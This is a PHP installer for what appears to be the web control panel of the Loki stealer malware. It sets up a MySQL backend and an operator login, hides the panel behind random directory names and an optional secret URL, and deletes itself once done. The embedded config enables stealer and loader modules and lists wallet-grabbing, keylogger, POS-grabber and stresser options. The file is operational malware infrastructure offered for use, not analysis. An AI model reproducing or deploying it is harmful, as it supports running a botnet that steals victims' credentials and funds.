<?php 
	if(!defined('IN_LOKI')) die("File not found.");
	
	$Modules_ = array(
	
		array("mysqli_connect", "MySQLi", "apt-get install php5-mysql(i) / yum install php-mysqli"),
		array("mcrypt_encrypt", "Mcrypt", "apt-get install php5-mcrypt / yum install php-mcrypt"),
		//array("sqlite_open", "Sqlite", "apt-get install php5-sqlite / yum install php-sqlite"),
		array("gd_info", "GD", "apt-get install php5-gd / yum install php-gd"),
		array("gmp_mul", "GMP", "apt-get install php5-gmp / yum install php-gmp")	
	);
	
	$bMissing = FALSE;
	
	foreach ($Modules_ as $Element)
	{
		if (!function_exists($Element[0])) 
		{
			echo "$Element[1] extension not loaded.\n";
			echo "$Element[2]\n";
			
			$bMissing = TRUE;
		}	
	}

	if($bMissing)
		die();
	
	error_reporting(NULL);
?>
<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8">
		<title>Install</title>
	</head>
	<body>
<style>
    .ab{
        margin: auto;
        position: absolute;
        top: -200px;
        left: 0;
        bottom: 0;
        right: 0;
    }
    .ab.is {
        width: 50%;
        height: 50%;
        min-width: 200px;
        max-width: 400px;
        padding: -20px;
    }
 
</style>
<script type="text/javascript">
<!--
    function SetVisibility(ElementID) 
	{
       var Element = document.getElementById(ElementID);
       if(Element.style.display == 'block')
          Element.style.display = 'none';
       else
          Element.style.display = 'block';
    }
function PasswordCheck(Pass1, Pass2)
{
	var Result = true;
	
    if (Pass1 != Pass2)
    {
        alert('Password don\'t match!');
        Result = false;
    }
	
    if (Pass1.length < 5)
    {
        alert('Password too short!');
        Result = false;
    }
	
    return Result;
}
</script>
<?php
	$ConfigBuffer = '[encoded data, 5544 characters]';
	
	if(isset($_REQUEST['acti']) && trim($_REQUEST['acti']) == 'install')
	{
			if(isset($_REQUEST['MHost']) && !file_exists($Config))
			{
				$MySQLHost 	 = trim($_REQUEST['MHost']);
				$MySQLUser 	 = trim($_REQUEST['MUser']);
				$MySQLPass 	 = trim($_REQUEST['MPass']);
				$MySQLDB  	 = trim($_REQUEST['MDatabase']);
				$MySQLPrefix = trim($_REQUEST['MPrefix']);
				$MySQLPort	 = trim($_REQUEST['MPort']);
				$UseAgent 	 = 'FALSE';
				$UseUrl 	 = 'FALSE';
				$AuthAgent 	 = '';
				$AuthUrl 	 = '';
				$Username = trim($_REQUEST['MPrefix']);
				$Password = trim($_REQUEST['MPort']);
				if(isset($_REQUEST['UseAgent']) && trim($_REQUEST['UseAgent']) == 'on')
				{
					$AuthAgent = trim($_REQUEST['UserAgent']);
					$UseAgent  = 'TRUE';
				}
				if(isset($_REQUEST['UseUrl']) && trim($_REQUEST['UseUrl']) == 'on')
				{
					$AuthUrl = MakeRandomString(11, TRUE);
					$UseUrl  = 'TRUE';
				}
				
				if(!strlen($MySQLPort))
					$MySQLPort = 0;
				
				if(!strlen($MySQLPrefix))
					$MySQLPrefix = MakeRandomString(4, TRUE);
				
				$ConfigBuffer = base64_decode($ConfigBuffer);
				$ConfigBuffer = str_replace("<LANG>", "en", $ConfigBuffer);
				$ConfigBuffer = str_replace("<MYSQLHOST>", $MySQLHost, $ConfigBuffer);
				$ConfigBuffer = str_replace("<MYSQLUSER>", $MySQLUser, $ConfigBuffer);
				$ConfigBuffer = str_replace("<MYSQLPASS>", $MySQLPass, $ConfigBuffer);
				$ConfigBuffer = str_replace("<MYSQLPORT>", intval($MySQLPort), $ConfigBuffer);
				$ConfigBuffer = str_replace("<MYSQLDB>", $MySQLDB, $ConfigBuffer);
				$ConfigBuffer = str_replace("<MYSQLPREFIX>", $MySQLPrefix, $ConfigBuffer);
				$ConfigBuffer = str_replace("<USEAGENT>", $UseAgent, $ConfigBuffer);
				
				$ConfigBuffer = str_replace("<USECAPTCHA>", "1", $ConfigBuffer);
				$ConfigBuffer = str_replace("<USEURL>", $UseUrl, $ConfigBuffer);
				
				$ConfigBuffer = str_replace("<AGENT>", $AuthAgent, $ConfigBuffer);
				$ConfigBuffer = str_replace("<COOKIE>", MakeRandomString(8, TRUE), $ConfigBuffer);
				$TmpName = MakeRandomString(7, TRUE);
				$ConfigBuffer = str_replace("<TMPDIR>", $TmpName, $ConfigBuffer);
				$Include = MakeRandomString(7, TRUE);
				$ConfigBuffer = str_replace("<INCLUDE>", $Include, $ConfigBuffer);
				$ConfigBuffer = str_replace("<FILEKEY>", MakeRandomString(7, TRUE), $ConfigBuffer);
				$WebKey = MakeRandomString(15, TRUE);
				$ConfigBuffer = str_replace("<WEBKEY>", $WebKey, $ConfigBuffer);
				
				$AuthLink = MakeRandomString(4, TRUE);
				
				$ConfigBuffer = str_replace("<RAND1>", MakeRandomString(4, TRUE), $ConfigBuffer);
				$ConfigBuffer = str_replace("<RAND2>", MakeRandomString(4, TRUE), $ConfigBuffer);
				$ConfigBuffer = str_replace("<RAND3>", $AuthLink, $ConfigBuffer);
				
				$ConfigBuffer = str_replace("<URL>", $AuthUrl, $ConfigBuffer);
				
				$ConfigBuffer = str_replace("<LOADER>", "1", $ConfigBuffer);
				$ConfigBuffer = str_replace("<WALLET>", "0", $ConfigBuffer);
				$ConfigBuffer = str_replace("<STEALER>", "1", $ConfigBuffer);
				$ConfigBuffer = str_replace("<FILEGRABBER>", "0", $ConfigBuffer);
				$ConfigBuffer = str_replace("<STRESSER>", "0", $ConfigBuffer);
				$ConfigBuffer = str_replace("<POSGRABBER>", "0", $ConfigBuffer);
				$ConfigBuffer = str_replace("<KEYLOGGER>", "0", $ConfigBuffer);
				$ConfigBuffer = str_replace("<SCREENSHOT>", "0", $ConfigBuffer);
				
				$LokiDBCon = new LokiDB($MySQLHost, $MySQLUser, $MySQLPass, $MySQLDB, $MySQLPort,  $MySQLPrefix, TRUE, TRUE);
				
				$LokiDBCon->AddNewUser($_REQUEST['iUa'], $_REQUEST['iPa'], 0);
				
				if(!file_exists ($TmpName))
					mkdir(getcwd() . "/" . $TmpName, 0755, true);
					
				if(file_put_contents($Config, $ConfigBuffer))
					chmod($Config, 0644);
				else
				{
					ob_clean();
					print '<pre>';
					if(!rename (getcwd() . "/inc", getcwd() . "/" .$Include))
						echo "Please rename Inc Directory from Inc to $Include. (mv " . getcwd() . "/inc " . getcwd() . "/" .$Include.")\n";
					
					if(!unlink (__FILE__))
						echo "Please delete: " . __FILE__." (rm -rf ".__FILE__.")\n";
					
					print "Username: ".trim($_REQUEST['iUa'])."\n";
					print "Password: ".trim($_REQUEST['iPa'])."\n";
					print "Web Key: " . trim($WebKey) . " (Coin Inspector)\n";
					print "Temp Dir: " . getcwd() . "/" . $TmpName . "\n";
					if(isset($_REQUEST['UseAgent']) && trim($_REQUEST['UseAgent']) == 'on')
						print "Useragent: ".$AuthAgent."\n";
					
					print 'Can\'t write Config file. To continue, please put this to config ('.$Config.') file, then reload this page.<br/><br/>';
					print '</pre>';
					highlight_string( $ConfigBuffer);
					die();
				}
				ob_clean();
				print '<pre>';
				if(!rename (getcwd() . "/inc", getcwd() . "/" .$Include))
					echo "Please rename Inc Directory from Inc to $Include. (mv " . getcwd() . "/inc " . getcwd() . "/" .$Include.")\n";
				
				if(!unlink (__FILE__))
					echo "Please delete: " . __FILE__." (rm -rf ".__FILE__.")\n";
					
				print '<pre>';
				$ScriptName  = $_SERVER['SCRIPT_NAME'];
				$Server   	 = $_SERVER['HTTP_HOST'];
				$UserAgent   = $_SERVER['HTTP_USER_AGENT'];
				$ScriptURL	 = $Protocol . $Server . $ScriptName;
	
				
				print "Username: ".trim($_REQUEST['iUa'])."\n";
				print "Password: ".trim($_REQUEST['iPa'])."\n";
				print " Web Key: " . trim($WebKey) . " (Coin Inspector)\n";
				print "Temp Dir: " . getcwd() . "/" . $TmpName . " (if directory not writable, many function not working! (chmod 644 ".getcwd() . "/" . $TmpName."))\n";
				if(isset($_REQUEST['UseAgent']) && trim($_REQUEST['UseAgent']) == 'on')
					print "Auth Agent: ".$AuthAgent."\n";
				if(isset($_REQUEST['UseUrl']) && trim($_REQUEST['UseUrl']) == 'on')
				{
					$ScriptURL = $ScriptURL."?".$AuthLink ."=" .$AuthUrl;
				}
				
				print "Auth Url: ".$ScriptURL."\n";
					
				print "Istall done! <a href='".$ScriptURL."'>Click here!</a>\n";
				die();
			}
	}
?>

<div class="container">
    <div class="row">
        <div class="ab is">
            <div class="well well-lg" style="height:500px;" align="center">
                <div class="col-sm-12 col-md-10 col-md-offset-1">
                    <form method="POST" class="form-horizontal" action="<?php echo($ScriptURL);?>?acti=install">
					  <fieldset>
						<legend>Install - MySQL, User</legend>
                            <div class="form-group has-feedback">
								<label for="MHost" class="col-lg-2 control-label">Hostname:</label>
								<div class="col-lg-10">
									<input type="text" style="width: 70%;" value="" id="MHost" name="MHost" class="form-control input-sm" />
								</div>
                            </div>
                            <div class="form-group has-feedback">
								<label for="MUser" class="col-lg-2 control-label">Username:</label>
								<div class="col-lg-10">
									<input type="text" style="width: 70%;" value="" id="MUser" name="MUser" class="form-control input-sm" />
								</div>
                            </div>
                            <div class="form-group has-feedback">
								<label for="MPass" class="col-lg-2 control-label">Password:</label>
								<div class="col-lg-10">
									<input type="password" style="width: 70%;" value="" id="MPass" name="MPass" class="form-control input-sm" />
								</div>
                            </div>
                            <div class="form-group has-feedback">
								<label for="MDatabase" class="col-lg-2 control-label">Database:</label>
								<div class="col-lg-10">
									<input type="text" style="width: 70%;" value="" id="MDatabase" name="MDatabase" class="form-control input-sm" />
								</div>
                            </div>
							<div class="form-group has-feedback">
								<a href="#" onclick="SetVisibility('OptionsMysql');"><small>More MySQL options..</small></a>
							</div>
							
							<div id="OptionsMysql" style="display: none;">
								<div class="form-group has-feedback">
									<label for="MPort" class="col-lg-2 control-label">Port:</label>
									<div class="col-lg-10">
										<input type="password" style="width: 70%;" value="" id="MPort" name="MPort" class="form-control input-sm" />
									</div>
								</div>
								<div class="form-group has-feedback">
									<label for="MPrefix" class="col-lg-2 control-label">Prefix:</label>
									<div class="col-lg-10">
										<input type="text" style="width: 70%;" value="" id="MPrefix" name="MPrefix" class="form-control input-sm" />
									</div>
								</div>
							</div>
							
							<div class="form-group has-feedback">
								<div class="checkbox">
									<label><input name="UseUrl"  type="checkbox">Use Auth Url (Random)</label>
								</div>
							</div>
							
							<div class="form-group has-feedback">
								<div class="checkbox">
									<label><input onclick="SetVisibility('UserAgent');" name="UseAgent"  type="checkbox">Use Auth Useragent</label>
								</div>
							</div>
						  
							<div id="UserAgent" style="display: none;">
								<div class="form-group has-feedback">
									<label for="MPort" class="col-lg-2 control-label">Useragent:</label>
									<div class="col-lg-10">
										<input type="password" style="width: 70%;" value="" id="UserAgent" name="UserAgent" class="form-control input-sm" />
									</div>
								</div>
							</div>
							
                            <div style="padding-top: 15px;"class="form-group has-feedback">
								<label for="MUser" class="col-lg-2 control-label">Username:</label>
								<div class="col-lg-10">
									<input type="text" style="width: 70%;" value="" id="iUa" name="iUa" class="form-control input-sm" />
								</div>
                            </div>
                            <div class="form-group has-feedback">
								<label for="MPass" class="col-lg-2 control-label">Password:</label>
								<div class="col-lg-10">
									<input type="password" style="width: 70%;" value="" id="iPa" name="iPa" class="form-control input-sm" />
								</div>
                            </div>
                            <div class="form-group has-feedback">
								<label for="MPass" class="col-lg-2 control-label">Password:</label>
								<div class="col-lg-10">
									<input type="password" style="width: 70%;" value="" id="iPa2" name="iPa2" class="form-control input-sm" />
								</div>
                            </div>
							<button type="submit" onclick="return PasswordCheck(document.getElementById('iPa').value, document.getElementById('iPa2').value); return true;" class="btn-sm btn btn-primary">Install</button>
						</fieldset>	   
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>

